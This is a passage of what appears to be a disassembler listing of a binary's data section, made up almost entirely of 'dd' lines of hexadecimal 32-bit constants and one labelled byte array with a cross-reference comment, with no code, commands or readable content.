		dd 0F827C02Eh, 96B5461Fh, 81100E8Fh, 0DC492B4Dh, 0DB92FB61h
		dd 0D44D9343h, 0CA91AFF9h, 45CDCBDBh, 44BC171Bh, 129A2FB8h
		dd 2FE74DF1h, 0EF856029h, 7919C546h, 30E06E47h,	36BB4E50h
		dd 0D69AF28Fh, 0E4CCEDD7h, 3C1E4C24h, 78C372D2h, 0F2212C51h
		dd 29C20B14h, 0E04CF2B4h, 611D0598h, 9CC5E2BEh,	7C3FB096h
		dd 0C9C7EF0Dh, 0DD914A44h, 0E90DB2E8h, 67E37BA5h, 0D4A1C7E3h
		dd 2F796F9Fh, 228174F9h, 9DE44E4Dh, 0EAA2930Dh,	47C172C6h
		dd 5AEBC939h, 261DC0CAh, 406061EDh, 3109AA35h, 0B0FF2696h
		dd 98C0F2E2h, 5E3FA5E9h, 572D9013h, 430D91C6h, 0B3DC0FB4h
		dd 5F605B5Ch, 756E49D2h, 9228DE3Ah, 7D646B25h, 669E3BA7h
		dd 0D2789E22h, 522A13E5h, 0B34A4B82h, 0FDAF8EF8h, 0FB249FB1h
		dd 0F63F35FDh, 0FAAFD2E8h, 2D2BBD23h, 0A938245Dh, 880DB430h
		dd 0FFC93BF0h, 9101DB8Ah, 34FD49E6h, 0B79A2F58h, 7BAB1938h
		dd 0AB561089h, 75CEF924h, 0DB993279h, 47064AB6h, 0EF99AD47h
		dd 5A2D9E1Ch, 0BED67653h, 0E12C6374h, 10FA639Dh, 0E2DCCCF3h
		dd 0D18E044Dh, 6578FC9Ch, 80B91C94h, 3638C99Fh,	0F8AE29AEh
		dd 76C5FD80h, 0F98F4169h, 1CE1AF82h, 865070A2h,	324874AAh
		dd 5CCAAB9Dh, 0B18C3E58h, 4074E1B6h, 1FDB191Dh,	0A462039Dh
		dd 65996554h, 0B941B22Ah, 7D0C4236h, 39DF3896h,	1DA440E2h
		dd 0A2F0307Eh, 3D3A7B39h, 0AF59FD43h, 1A5CB200h, 0EE5EAE98h
		dd 859653CEh, 689D9719h, 3B204943h, 65A5ABD6h, 0CE578921h
		dd 50C1E076h, 162C0727h, 569DE8FEh, 4D46E01h, 6926E047h
		dd 0BEE6EAC9h, 254FE5Ah, 0AB5D7515h, 0EA0DE6A4h, 6FF0CE33h
		dd 0A28FE062h, 0AF1D1C16h, 0BEFC0FDDh, 0D75D1D4Bh, 0B2B419E6h
		dd 0D6ADC871h, 9F32FE75h, 48051EC7h, 9661779Bh,	4FB05740h
		dd 71717969h, 3B87F167h, 0FD13E208h, 0E3258A58h, 0B9B74651h
		dd 5AB3B6F2h, 2E8B9D4Fh, 3D3A5558h, 3BEF6D63h, 28767CDDh
		dd 7DDCB8E6h, 4BBD6072h, 304787C3h, 0D2C4BE1Dh,	794E9141h
		dd 0ACAD54A3h, 4329B37Ch, 0E0BF490h, 56EACAF6h,	7A460A77h
		dd 0F6D9B0BBh, 0AC52000h, 41D5E3A8h, 0A8CF3907h, 63B848DBh
		dd 1B61E3B9h, 0D7E33AA3h, 35913D89h, 75BC6CEFh,	0A15D106Fh
		dd 0F9A87E5h, 7888815Fh, 0BA1E3EBFh, 0FA2866E0h, 760E79Eh
		dd 0B0884AC5h, 840A109h, 44B0A77h, 7108A2C3h, 64E5E335h
		dd 0DEB5728Dh, 69AADF49h, 0AF6758B8h, 0B378D530h, 0B57CC34Ah
		dd 3BDAD7E5h, 0A187855Fh, 8F73DF9Dh, 0E8202556h, 749AE4E9h
		dd 7CEFB353h, 0D651364Ah, 3602533Eh, 0BC7B348Ah, 0BB9160A9h
		dd 0A2AF7BF4h, 9B16675h, 4FEBFE9h, 401E24BEh, 0C93A804Ch
		dd 0D819F644h, 473567E0h, 0FA4433B1h, 34C3D4D7h, 98D0876Ah
		dd 0DC5CF563h, 0C670D5DAh, 18B72CE7h, 68BF1D66h, 0F4FF42AFh
		dd 1F77F3DEh, 992BDF34h, 8A649E01h, 0FC8B2188h,	66ABB7F6h
		dd 0C672F8Bh, 0ECE221FDh, 0C2A23065h, 8597146Fh, 0A4024971h
		dd 0FD57DD82h, 0EFDFD688h, 1603FCFBh, 518206B5h, 4C0DC654h
		dd 6A887B6h, 0CE7A6A5h,	3F635730h, 57043715h, 0FAF21371h
		dd 5AC929EFh, 33EE6429h, 0B3D6C59Ah, 0BFD109A5h, 2C140B7h
		dd 2C64A01Ch, 0B1119CC2h, 38225088h, 53BF9BB7h,	70402C9Ch
		dd 0F1A25FECh, 0CBCF5F3Bh, 0B086D8E4h, 83EA53FBh, 0B8CF0B2Ch
		dd 556DF487h, 0D0A440CBh, 0E32ED65Fh, 643706C4h, 257593F2h
		dd 0B49219E4h, 6FE90D21h, 4307177Ch, 6C0DEAC5h,	7FB9264Dh
		dd 0D62C2229h, 0DEEA014Ch, 601C9FA1h, 0D313F008h, 4B8FF55Fh
		dd 0EA80276Bh, 6C64392Ch, 0C3D19FFFh, 0BDC6A6B2h, 9AEFB0C8h
		dd 0B194EBB9h, 0FD1656F0h, 0BAA41BF3h, 6DD329C9h, 276B3AB6h
		dd 0F2E6EE3h, 0E1A3C843h, 0A117C663h, 64524BD1h, 5CB3EB48h
		dd 0A2E3A846h, 6C5845AAh, 5837470Dh, 0D2B18EBAh, 5C13DE21h
		dd 0F85C46CDh, 0AE3A38B8h, 5DE1FA86h, 0A55FFE19h, 5C6166E1h
		dd 1CD49869h, 49202FFBh, 5EC8BB51h, 0B7752761h,	62690D77h
		dd 0F149C5BBh, 288F6956h, 0C0A8FE5Ah, 886AE5C1h, 0BBAE75FCh
		dd 0BF79B7C6h, 74763F9Fh, 214FE6F5h, 2019738Fh,	0C00C001Dh
		dd 2853092Ah, 6E23A815h, 60B8650Fh, 0C48143F0h,	4CD28644h
		dd 0AA2621B3h, 9EE08CEAh, 30118394h, 0EC140EC2h, 0DE80AD63h
		dd 1160D4FBh, 51F71A77h, 8DD9F800h, 23817A91h, 0B5074AA8h
		dd 3B73F1ECh, 5CD4CC9Eh, 83A5C241h, 0B08915B3h,	0D73CADCBh
		dd 0B6C843ABh, 4ABA686h, 985CDEB6h, 23E0ECC9h, 4D0E694h
		dd 70E6C3FBh, 4279057Ch, 0F0D33E6h, 0FCCDC306h,	0AAEFE2B1h
		dd 377EF8Ch, 0BDD5303Bh, 8276CB5Bh, 0AA76D39Dh,	97B50D20h
		dd 21C3BFFDh, 7635C917h, 0E0E23D0Bh, 0D12649BEh, 0A5AFA5Bh
		dd 11C18961h, 2DE6F748h, 3CF221Eh, 0DF7B207Eh, 640B8012h
		dd 0EB959D05h, 7A51D5h,	52B2D3DFh, 3CFFF62h, 3E5BAF37h
		dd 78DF70E7h, 6241058Ah, 741859D0h, 92DF54A3h, 52330631h
		dd 6A5157D4h, 888153C3h, 5F62BADh, 11C5C093h, 0CBD4B12Bh
		dd 0D122F27Ah, 5A5BED2Ch, 0AF70BD76h, 356C079Dh, 4E003B85h
		dd 0A90A0706h, 0E8677A6Eh, 0A32AC883h, 0A60A1EADh, 0FF831B9Fh
		dd 8869E284h, 93CC348Ch, 0B62BF777h, 0E80219CDh, 0F99D4D19h
		dd 0E366E9D8h, 3EB2BB87h, 1A2E2157h, 202402E5h,	31B3D12Eh
		dd 0D47A563Ch, 3285FAD0h, 3979004Fh, 0DE76CE5Bh, 0A4D70D1Bh
		dd 0D1599FA8h, 1CBC1ACCh, 1E11113h, 0E2DFCFEDh,	66124C11h
		dd 0F490992Fh, 782475A9h, 0DC3CB2BCh, 0D1099FA6h, 0AA6AD18Fh
		dd 3574FE73h, 0CC120F45h, 0EE691BF8h, 79DEDEF2h, 0EF145212h
		dd 44FFCA94h, 0C1979EB2h, 0EDB247D0h, 0EDE42C4Ah, 0C1DCBA66h
		dd 0D4044CCh, 0DB4107C7h, 116B171Eh, 0BB16C392h, 228B0CA5h
		dd 0F897481h, 0CE8117D6h, 0CDEBB1C1h, 0C98B3A45h, 0AEA9BE8Dh
		dd 0CE6208F6h, 55F60427h, 0B0CE12E2h, 5345720Fh, 3659F045h
		dd 0E71076C8h, 9E4652E7h, 679DE72Bh, 0E22ECBCDh, 0B0A92BCAh
		dd 72FBF6EFh, 50F32E58h, 0D57D0732h, 489FEE4Bh,	0F5709B9Fh
		dd 64D34AC6h, 82B2C223h, 752B3242h, 3AA8A83Dh, 917E3069h
		dd 1F40B52Ah, 3F796360h, 601E689Ah, 0F199F1EDh,	6A9300CEh
		dd 1B9C84BCh, 6C2D4CFFh, 1B2E33DBh, 7FB8A0Eh, 7AD60188h
		dd 494ECF62h, 4293A711h, 993E509Dh, 0BBC3C74Bh,	8C61D30Ch
		dd 298C2ED0h, 8554493Ch, 542115C1h, 0DA531B4Eh,	0E372C135h
		dd 0FFA5CA0Eh, 913455EFh, 0FFC8D97Dh, 0A39FBA32h, 1C074FA3h
		dd 0B01F69E9h, 0C7832B64h, 0F2B86604h, 0CF5BD944h, 5C631ADAh
		dd 13CE81C8h, 0F1C8644Dh, 6A09D614h, 6A7729A1h,	0ED0C0797h
		dd 0A0F24861h, 89E715C3h, 7A1DC092h, 66F96026h,	6E9F1064h
		dd 0FECB2BF2h, 8F25B13Fh, 0B8B11328h, 0CD293118h, 0FD6BF445h
		dd 775ADA73h, 0E6C38A50h, 0DFCB53CCh, 0A7DB0645h, 0F85ECB5Eh
		dd 6B00D9B5h, 0D11914AFh, 2EB12B0Ah, 0DE005B0Bh, 0EF1B3A4Fh
		dd 83468124h, 34A3915Eh, 3B177E80h, 215A7EE0h, 87E8B9AAh
		dd 0AA65B5BDh, 6A08653Ah, 0BCCD3B66h, 0CB62F713h, 0B3A82B91h
		dd 87986BACh, 2047A313h, 94AA2A0Eh, 368ADF9Bh, 23BFDA9Bh
		dd 0C75EFD69h, 0EC0179B8h, 0DE39AC1Fh, 0D38FC05Dh, 67F706AFh
		dd 17739362h, 5DC42400h, 953682BDh, 0DA045EFFh,	8B618920h
		dd 5E1362D4h, 3074B057h, 2B6DCACFh, 0EDB1EFEAh,	0ED10CD61h
		dd 5B44C56Eh, 0C94361FDh, 32F5EDC1h, 65963406h,	3A889EA9h
		dd 28E0732Fh, 4A72083Eh
		dd 0A0AEED32h, 0DE148666h, 0C1E93123h, 130C4795h, 12F4118Ch
		dd 973FE5EEh, 8DEEFED4h, 96880F6Bh, 3DD36EEEh, 0A445283Ah
		dd 0A445377Ah, 6E60AFB5h, 3E0C530Dh, 49DE217Dh,	6158A32Ah
		dd 2933F881h, 3D70D3C2h, 0F931B54Ah, 44C73495h,	495A0679h
		dd 30C83658h, 813C2B37h, 0EC87EABFh, 4278462Ch,	6C13D0AFh
		dd 66859EFBh, 0EDDA46E9h, 0B596862Fh, 0D48D5952h, 90695061h
		dd 0F65A48F5h, 738678B3h, 0FC11643Eh, 5C495B1Ch, 5F999498h
		dd 627B0679h, 25D3AE40h, 0FD1A48FAh, 44A4DDF0h,	2E313E5Eh
		dd 297514DBh, 0BAC9403Eh, 25EF35B3h, 0E7B53D5Fh, 0F98E6989h
		dd 0FAE9616Dh, 0EA69FE2Bh, 3B849601h, 0DEDB7DC4h, 0AAFD994Ah
		dd 5641345Ch, 70C4AE2Dh, 5F243AEDh, 8EFFF853h, 3EDAD1DBh
		dd 626B2AB5h, 0D646F817h, 0DAD0789Bh, 60E61C1Ch, 5EB7B1D1h
		dd 0F591B509h, 408C2F6Ah, 389C5C58h, 66329DA6h,	58FF8E45h
		dd 9BBDBFCDh, 0A7468C1Fh, 0ABEDF70Dh, 0B225D3F5h, 13E48B8Dh
		dd 4612C8C4h, 8801F9FEh, 867B779Ah, 619167D3h, 0C7357A7Dh
		dd 0FAE35CFFh, 0DF601C5h, 9496DD80h, 0C95678FEh, 0ADDE3062h
		dd 8E6188A7h, 0C00664FDh, 0D116BCA6h, 0A92C0983h, 0BDEA64C2h
		dd 0AE4D9292h, 0A58E0123h, 8B41E4CCh, 0CB07E18Fh, 9F8CFC3Bh
		dd 6B90FB95h, 63239E6Ch, 7C186D05h, 8C4D2BE0h, 53A513BCh
		dd 0A8A567E0h, 0EF61510h, 72FBFF06h, 8E6FDB41h,	808CD29Dh
		dd 815E9D07h, 58DA060Ah, 11A4CE33h, 0A80AAC62h,	435CC2A4h
		dd 372E1E8Ah, 0C5ABD28Ch, 0C2D86A91h, 7C377F78h, 968B8242h
		dd 328BD307h, 72E44902h, 9758F5BBh, 3708B4E0h, 0FD2CCBB6h
		dd 9958DA12h, 49DF7793h, 102B0741h, 90A75CDFh, 572B2B45h
		dd 233F5AE2h, 263CD8A2h, 0F376DE15h, 0A890B0E8h, 0A02A2496h
		dd 27C9459Bh, 0A39240FEh, 7A8EA114h, 0E78B9923h, 0E5425CA9h
		dd 74BC0DD7h, 0A999C3B1h, 20A2D92Ah, 953E3AD8h,	0F60899ECh
		dd 0BE30BDF6h, 71EA96A1h, 61501F5h, 4E259815h, 0BB52F7D2h
		dd 4B7AA4A9h, 0D7A0499Eh, 0FF0F1207h, 751F8120h, 26224824h
		dd 5D588C91h, 0C923642Ch, 0FA4DD50Bh, 1F455A08h, 3C5ABF0Ch
		dd 31ED01EDh, 762941C6h, 4F0E1890h, 48D4DF05h, 0BD891ADEh
		dd 62EAACABh, 9217BE47h, 0A8D772FAh, 7ADA9F80h,	0BB3C2214h
		dd 0AFBA37F7h, 815BED9Ch, 6A772DB0h, 7842B051h,	0A2CEF267h
		dd 4703AAFDh, 1C6BD397h, 0A3E23D4Ch, 1DB0588Bh,	0AF14E38Ah
		dd 971F0F3Fh, 0D58603EAh, 0C94A4304h, 0DCC61EF5h, 0B4A40651h
		dd 2222E61h, 8C357851h,	0BFC6F83Fh, 656A8F0Fh, 0F126D040h
		dd 0DE004A3Eh, 5F614AEDh, 44CDB383h, 66230B81h,	0E3D1324Ah
		dd 3678EE51h, 1FD3F583h, 0DE3CAEA6h, 0E1698A8Fh, 0DC993113h
		dd 0BFD2782Ah, 5DF787D5h, 787CBC3Eh, 0E267A5F6h, 0C530A0A5h
		dd 0E782F442h, 303ABED9h, 96A68BE4h, 1A9D47D4h,	0C66EE2A3h
		dd 0F8E5B8AFh, 353FDC54h, 669F81E2h, 0EE796E03h, 78F20C45h
		dd 0F8FE1FB9h, 79BDD23Eh, 0D79AA698h, 0B0ED66ABh, 794C4696h
		dd 8C8E2D9Dh, 23B663CDh, 0E4F24E95h, 8B484C8Ch,	0C6EF32h
		dd 76B31F0Bh, 38E37DB5h, 96BEDFDDh, 6AC2C890h, 0C611509Bh
		dd 7A07CB4Dh, 8A97EAF1h, 14502BACh, 38C5797Ch, 4CCA4742h
		dd 762536B7h, 0B352C2Dh, 0EDC4B7D9h, 2340538h, 7FF30E9Ch
		dd 0C29A73CEh, 72A013E4h, 2B01521Eh, 0E00EF887h, 5E6BF7AEh
		dd 3013A704h, 6D6F21Bh,	2DD5542Ah, 88810D24h, 0BD100Ah
		dd 8A626A84h, 3E93B651h, 29A3B74Ch, 0BD45C04Bh,	0CE5B477Fh
		dd 0A1CF332Ah, 17A16684h, 9F188DD8h, 0FC65E01Eh, 9A65C1C4h
		dd 0D989DBD5h, 0CF5AF4EDh, 98902968h, 526BB60Dh, 0B0F41E33h
		dd 9865DF83h, 635D2CD6h, 86AA6A6Bh, 0B02E851Dh,	0E56B5F69h
		dd 2ECFB67Bh, 64C3F572h, 0B83EF963h, 8936A2BCh,	0D8BF64ACh
		dd 0EEFE76C5h, 50FE109Fh, 44CB32EAh, 76AA97B7h,	0F8F89B70h
		dd 0F769F82Ch, 9D78C9D5h, 0FF806DFEh, 0D20B18EEh, 0AA502E5Bh
		dd 0D2AB52D4h, 0ED7070h, 63685E76h, 0CECBB541h,	4813DF85h
		dd 2D9F1CF6h, 0DA074C9Fh, 4F04DD3Ch, 0BD8ED407h, 8446EDACh
		dd 0A7D145FCh, 813A7DDh, 28639B4Bh, 2B3EC8C5h, 0D78CEA5Fh
		dd 0FA957979h, 0F738F5ECh, 0B6600771h, 0B436EA52h, 7591DEBh
		dd 8F3E15F5h, 0C5E4464Ah, 0BAFE5251h, 789D8BBAh, 0B1D88E45h
		dd 2AA48EC5h, 76DA56CBh, 0F1ACA91Bh, 968FA0B6h,	7B2CB16Dh
		dd 94B0B086h, 0F2F512C9h, 57325A36h, 0E388208Dh, 1A4768D5h
		dd 0F61B83F1h, 7B22C570h, 0F4761049h, 0C67BD060h, 0F10E062Eh
		dd 241C8076h, 10C73DF8h, 114D444Dh, 54AE9E0Ch, 87DB8E15h
		dd 864645CBh, 4A3D51D2h, 630E0831h, 3A60D1B3h, 37B871ACh
		dd 0DC706E3Bh, 8587A472h, 7545A421h, 7E341181h,	79252995h
		dd 82F68898h, 46533065h, 1DF63F2h, 22274B0Ah, 0E4069F47h
		dd 0A537403h, 1997C4F2h, 10D04391h, 82956563h, 954DE1B5h
		dd 26EFEA58h, 0F54B575Bh, 8BEED52Dh, 2E1CD82Fh,	79DD7538h
		dd 0E0FF75F4h, 5F8BFF0Dh, 0A3320207h, 447295D5h, 6B5AEA86h
		dd 75D661C1h, 96A32BABh, 0A7A911Fh, 1AB78678h, 400BAF32h
		dd 7688C0D2h, 34E7ECFCh, 7B57A03Dh, 0D23EF77h, 8AB505C1h
		dd 1053C1D4h, 7C1D3E66h, 0EE2E5B2Eh, 73224636h,	0F0E3CD9Bh
		dd 0D36876FAh, 3A16027Ch, 0F79F01CDh, 0F12886C3h, 7B8B2E47h
		dd 2AF7836Fh, 26589426h, 0CC257422h, 7B862E13h,	418874Fh
		dd 42464DC7h, 83721418h, 0F3EA557Ah, 5D8E5F4Ah,	6A8D95F8h
		dd 15403D30h, 8DE9F848h, 7AFAAEB7h, 1F30AA5Bh, 0AE28F29h
		dd 0AC0BB28h, 8ED4F989h, 0CA622211h, 0B89A50A0h, 5A2B7657h
		dd 2D3877E9h, 57A7B215h, 90C36BDBh, 97A7E463h, 8EC31883h
		dd 0A8C2B710h, 1646AFCAh, 6ECDB13Ah, 0E2CA100Eh, 683708CDh
		dd 0BCB2126Ch, 7694EF20h, 811A619Bh, 0DE8736CFh, 0F166C13Eh
		dd 2CB921C3h, 105C03FAh, 4865A34h, 61DC769Fh, 0A95012F4h
		dd 95007710h, 18E11510h, 9FDB41D8h, 0E57FF01Eh,	0D5A2282Fh
		dd 8816F94Fh, 2D159CB1h, 8DA7C57Bh, 0D39E51E1h,	7DE9C49Ah
		dd 0F678C407h, 0E7B5A12h, 970CD077h, 90A59AB5h,	0C9CF9778h
		dd 5FC57F3Bh, 4A957B59h, 83C83B37h, 12D125C5h, 786288AEh
		dd 0BC0F8B8Eh, 405DADEh, 93FC1C93h, 0F7BA8EA9h,	6A36A505h
		dd 2928187Eh, 0ADD0539Fh, 0D9F3F08h, 104DEF9Dh,	80BE1CCAh
		dd 1FD331FFh, 0D41DBF17h, 0DE8F90h, 303FF52Dh, 963E8DE0h
		dd 0D5F28D4Ah, 41FC9D2Ah, 0EB80AEC5h, 0B94D74CCh, 0D70A4D49h
		dd 0E47649F4h, 0CDC376FFh, 5D41BCh, 59AABC00h, 0C328012Bh
		dd 12C83FFFh, 0CE092942h, 0B4337834h, 9D7098A8h, 0D0BDC1E5h
		dd 14F75792h, 7679FD0Dh, 0C595ADAh, 9F295D88h, 0BA98F483h
		dd 20490DE4h, 0DAB651C2h, 0D6A051DCh, 0E75D966h, 3E38265Dh
		dd 4B57E618h, 0C30B784Dh, 0ED6E96DDh, 0D3269A2Dh, 4CCC0261h
		dd 6FA32FECh, 32C4AA16h, 0CD00EA7Ch, 94031EA2h,	918917DCh
		dd 9D6738D9h, 0E39160DDh, 0F0171B20h, 8A876ACDh, 4334B2A7h
		dd 68231792h, 0F08C75F2h, 0EF21A798h, 7D103869h, 0DBF0512h
		dd 0E8AFEFDCh, 86BF45E4h, 314409BEh, 63E97C0Ah,	45E58BB8h
		dd 34681BFh, 0FF9C7A82h, 2929592Dh, 525CF8A8h, 0DFE16472h
		dd 91C7A651h, 0F66BD497h, 53AACCE4h, 4CA0814Ah,	25E23E83h
		dd 8C071BACh, 835DAB46h, 0E3A6D2FEh, 5F7BE195h,	982964FFh
		dd 0D71F7414h, 9685C2B2h
		dd 0A149DABDh, 0CE2480D8h, 6021168Eh, 23BAA069h, 0B1B0CB72h
		dd 864ACDC2h, 72EC5AB4h, 384650D2h, 0B6D54BA9h,	83034FC2h
		dd 7BFE9DC7h, 82101CA4h, 2F1C5611h, 5C66A2DBh, 84F77F8Dh
		dd 0C4C21056h, 0BE002F03h, 16660946h, 0B0370B2Ah, 5F061ABDh
		dd 7FB29CF2h, 28C8F87Ch, 26A37101h, 34CCF9DCh, 1FEAC5CCh
		dd 0FB5F937Ch, 61401CC5h, 0C6E973BDh, 5C3C5701h, 2C53FB68h
		dd 670CD46Fh, 625BABC3h, 22F24498h, 7A94EBFDh, 9F40DD55h
		dd 0AEA302C3h, 97D8D40Ah, 0A72A440Bh, 3BD942C9h, 7F96CC7Ah
		dd 0C10603F2h, 2133A893h, 70A901DCh, 0D38CC992h, 0A2466BBDh
		dd 94D9124Ch, 1F8479D9h, 3499C587h, 0AF017396h,	5C5E215Ch
		dd 0CBEF59A5h, 4E5FCD4Ah, 82523C59h, 5DD3C0ADh,	0FEF3565Eh
		dd 435F7C2h, 563817FFh,	4A1D1AB7h, 0E5B2B2A6h, 0B4438402h
		dd 0B8C51881h, 0B89E01D3h, 0BAD064EAh, 4DAEEECCh, 2928E20Ch
		dd 2061269Ch, 132E2D43h, 0A7659D19h, 8DBD6F7Eh,	0C4E65B7Eh
		dd 4ED1625Ah, 645EA659h, 3A9680E5h, 1EA8FA0Dh, 2F66AF80h
		dd 8D6BB655h, 67DD1B5Bh, 43D13ECBh, 399B69F5h, 0EF1EAA4Bh
		dd 7163865Bh, 7AD5CED4h, 0EAE6108Ah, 2B855385h,	0B146B57Bh
		dd 7AAE434Fh, 1A04AE67h, 5AC1952h, 6C5011B5h, 0BE2C2142h
		dd 0CFDE9F0Ch, 0ADC14C82h, 52DF541Fh, 16F071Dh,	35A47F47h
		dd 3DA3EA47h, 0F9458EFDh, 3BE4311h, 0D3DC62BCh,	0A8CE72BAh
		dd 769CCB96h, 54E2C37h,	68BE8599h, 10CCC34h, 4DABFD37h
		dd 2BEBA96h, 71356C7Bh,	0B6E97ECFh, 0FFCAD891h,	39AF417Ch
		dd 1F9A4159h, 5AE7BCA9h, 9BA80550h, 875B64FAh, 0C080B6E9h
		dd 8E8B021Eh, 7E7DDCB1h, 2A359CDAh, 6D74BC98h, 391E0256h
		dd 8CE9BDD0h, 0FB4D52F0h, 2297AC31h, 8245D3E5h,	0C1097707h
		dd 5E0155A3h, 1C7C75E0h, 0E46C10E0h, 0B575B6F2h, 0F8405540h
		dd 3C0EB0CDh, 40904109h, 23ECF205h, 98F3480Fh, 40885097h
		dd 95333F83h, 71FFBC64h, 6DCD7A5Dh, 0FBD224D3h,	85A785Bh
		dd 78B3A06Dh, 0F0BE54F1h, 0ACB01A06h, 0D68B5ADAh, 4E745CC9h
		dd 57686420h, 731AF436h, 9D0866C4h, 61FF82A9h, 5723A7EFh
		dd 57854927h, 11313362h, 5BD15964h, 86218227h, 3D83B0h
		dd 0C3DF89C6h, 0A431BB18h, 24E774ECh, 599ED7B7h, 0BCE54340h
		dd 39E1379Bh, 2501299h,	43D1AF44h, 56E33D3Ah, 3F9D82Bh
		dd 89498222h, 66436C64h, 0D124EE06h, 103BA080h,	829D198Fh
		dd 9176FC5Eh, 1A6E1042h, 0F84C060Fh, 5AD118E7h,	0E0A53920h
		dd 5D15F25Ah, 0F83E5E3Ah, 0B74FD774h, 0DCE549Dh, 0F86737E3h
		dd 3DE5BE4Bh, 0FC896731h, 0AB2C6753h, 0DF36F458h, 0A32DAA4Ch
		dd 5E02B1DBh, 0F35F441Ah, 854E756Ch, 0F228DE7Eh, 219D8FB5h
		dd 12541679h, 0FCE268B2h, 495323C8h, 0A6AB11F0h, 7434BE23h
		dd 1E7AF78Ch, 7A54835Fh, 4ADCE98Ch, 10D40EC4h, 0E5F43963h
		dd 59626657h, 7B74F630h, 8538B351h, 0F574AD2h, 34757EA1h
		dd 0BA17C01Ah, 9F3FA1DDh, 584E3106h, 69146357h
		db 0D5h
byte_4F5345	db 47h,	0D4h, 70h	; DATA XREF: .data:00447EB0o
		dd 0C53D32FCh, 0D20179B8h, 0E653A7B5h, 652A5867h, 36E57610h
		dd 63661853h, 83DEBC94h, 3AF0F537h, 0CF411E58h,	5860E8AFh
		dd 64FB5FFBh, 12817184h, 2D7B2A8h, 157EC033h, 0BA714E08h
		dd 23A17C40h, 4BD7D88Fh, 2239D20Dh, 0FB4102F4h,	155D1BAh
		dd 747FA0BCh, 0A6B095E7h, 67805A18h, 19DD2006h,	3D800F60h
		dd 0EBE32B8Eh, 9A6386FCh, 4094F283h, 2B24594Bh,	0B3AD755Dh
		dd 3910D0A6h, 974FB1D4h, 0C1FEFCF1h, 0BA69FBCBh, 0F9D37CA5h
		dd 2F296EC9h, 0DEBDB196h, 0E31BA2F8h, 959DF5E4h, 0E3625517h
		dd 7BA1CAF8h, 0D2ADC188h, 787354B3h, 13175646h,	0F4F286C9h
		dd 0FA46C534h, 1DA4655Fh, 342DC1EAh, 0C5923C22h, 20DEE029h
		dd 618CF751h, 6770330h,	0C2F50BE1h, 4A4ADE9Fh, 8E57E279h
		dd 64964AB7h, 0E5FED786h, 39425C14h, 8445E319h,	0BBBEE301h
		dd 5FF619FEh, 0C0C1900h, 0E163061Eh, 0AF1B42BEh, 0BED0812Bh
		dd 4A5E9759h, 46502353h, 0B96F400Fh, 5B71FBC0h,	3DAF13Ah
		dd 42FC37BEh, 89A58271h, 6F6EC82Ah, 0FDBA8782h,	0EC1857C6h
		dd 240F3F8Bh, 0C79E211Ch, 97A6DC4h, 4101C6Eh, 594818ABh
		dd 0CC3338A7h, 166EC97Ch, 1E6C3333h, 0A4D4925Fh, 5ECDFA70h
		dd 2E58470Eh, 0A36A6755h, 0C40B9140h, 9A31CBB8h, 9BBCCA21h
		dd 0B3B7BC14h, 0EB6A3708h, 4504069Fh, 41B406D4h, 9B835E3Eh
		dd 656215B7h, 0CF44CE46h, 0B313D95Eh, 17A17578h, 0C2750D4Ch
		dd 0B2EC01F6h, 0E2B484BFh, 9C47E0AFh, 12A68B1Fh, 8870D4C1h
		dd 4B4D3F43h, 1FBE33E8h, 0F0AC27D7h, 93D84972h,	4C0AD827h
		dd 94AB83BCh, 0A1CFBB6Ah, 0D341EE1Ah, 939A9F6Ah, 0BE028418h
		dd 0DE07AFD0h, 0A533985Ah, 7BE06AEh, 0FC660530h, 1FAAF2E4h
		dd 2DFDFADCh, 0C05D1A24h, 9569DB29h, 0B885FA30h, 63755BAFh
		dd 0E632241Bh, 1686FE34h, 9074CC57h, 0F16106F4h, 760B661h
		dd 62379A73h, 0E9FED541h, 0AA13B96Dh, 0B6EF436Eh, 1A238554h
		dd 747FBE0h, 15244A8Fh,	2CA4DDC9h, 0C84455D1h, 519C043Eh
		dd 4BDC8FA4h, 77574A37h, 24606274h, 39369B41h, 0C6653142h
		dd 97292E3h, 2D6AE10Dh,	8FE89984h, 0CAED307Ah, 3D014803h
		dd 0DA7D753Dh, 3FE43642h, 81C2B269h, 0A55F681Bh, 0AF07DDF8h
		dd 281F4CEh, 0CFF8A093h, 0DFF81428h, 0AD9DA934h, 0DCC4E33Ah
		dd 0F3DFD847h, 2E798430h, 0EA4DD962h, 0EE82489h, 51A1464Eh
		dd 7EF24552h, 0F315361h, 363D5ACBh, 8F9A498Ch, 3C57AAC8h
		dd 6AF03090h, 5A1BE128h, 0C8583ED8h, 5264BEF0h,	7A0D36F1h
		dd 65351B2Ch, 34BD56E4h, 41238905h, 0FA6B8C51h,	98AEAF98h
		dd 0B08EB56h, 924040C0h, 0F01A990h, 5E8C6394h, 0ADBABFD8h
		dd 0ABBDD22Ch, 18B729FFh, 76F20AC2h, 177287E7h,	92C6329Ah
		dd 1B5CDA0Ah, 2180EA12h, 0EEE4B33Ch, 4B2A5B7Dh,	5A82F897h
		dd 0F88233ABh, 4559694Eh, 0CA408DE9h, 0A4A60387h, 0AB7CE715h
		dd 15CED95Dh, 10425B62h, 7FE45146h, 5B7B6C5h, 17A20286h
		dd 38898579h, 93FDB340h, 9F40BB91h, 3213329Dh, 0E36FAF63h
		dd 1719CEA3h, 2A0B1FC7h, 85B1CB93h, 9C5729E3h, 32762778h
		dd 0C6CA3D60h, 3055F211h, 17ECA572h, 4F71004Fh,	0C91A697Dh
		dd 6360F18h, 580A1D63h,	0CC6029Ah, 0E4DDB512h, 0A47E4CD3h
		dd 0EB075CE0h, 0A38E2A57h, 0C1D30173h, 5A62EBECh, 0C6417E07h
		dd 0C8C2823Ch, 0AD969B6Bh, 0BAA8E446h, 48B14BACh, 0B6FAB37h
		dd 0EFA59DBEh, 2D52D413h, 0C7F410D0h, 2530F304h, 282B1BF1h
		dd 3F0CD12Ah, 0E8D460D7h, 917AFA78h, 953C7CA2h,	5628D3FBh
		dd 7C687D47h, 0CC487EF1h, 0CA227C51h, 0A47E45B2h, 352F82E0h
		dd 93D1BD74h, 7EF52DB8h, 0EB16674Bh, 0FB0E4388h, 73940FFDh
		dd 0A37557ADh, 2A8C0619h, 59A418AAh, 0DE53D4A9h, 0EEDCD0DEh
		dd 41424ABh, 8D04B185h,	2E26B073h, 1D8DB258h, 0C20B4594h
		dd 0C8EDD71Dh, 5F3FC429h, 0CDCBEC92h, 632741Dh,	94DAE66Bh
		dd 56E1DA58h, 0A2104653h, 8124C6CFh, 99ADFC4Ah,	0EE5BE283h
		dd 6559E2E4h, 7423BF07h, 2A36E2ADh, 0BF00C179h,	0CB396E3Eh
		dd 6359183Bh, 9FFBE472h, 7804CE43h, 9E318056h, 26D6327Eh
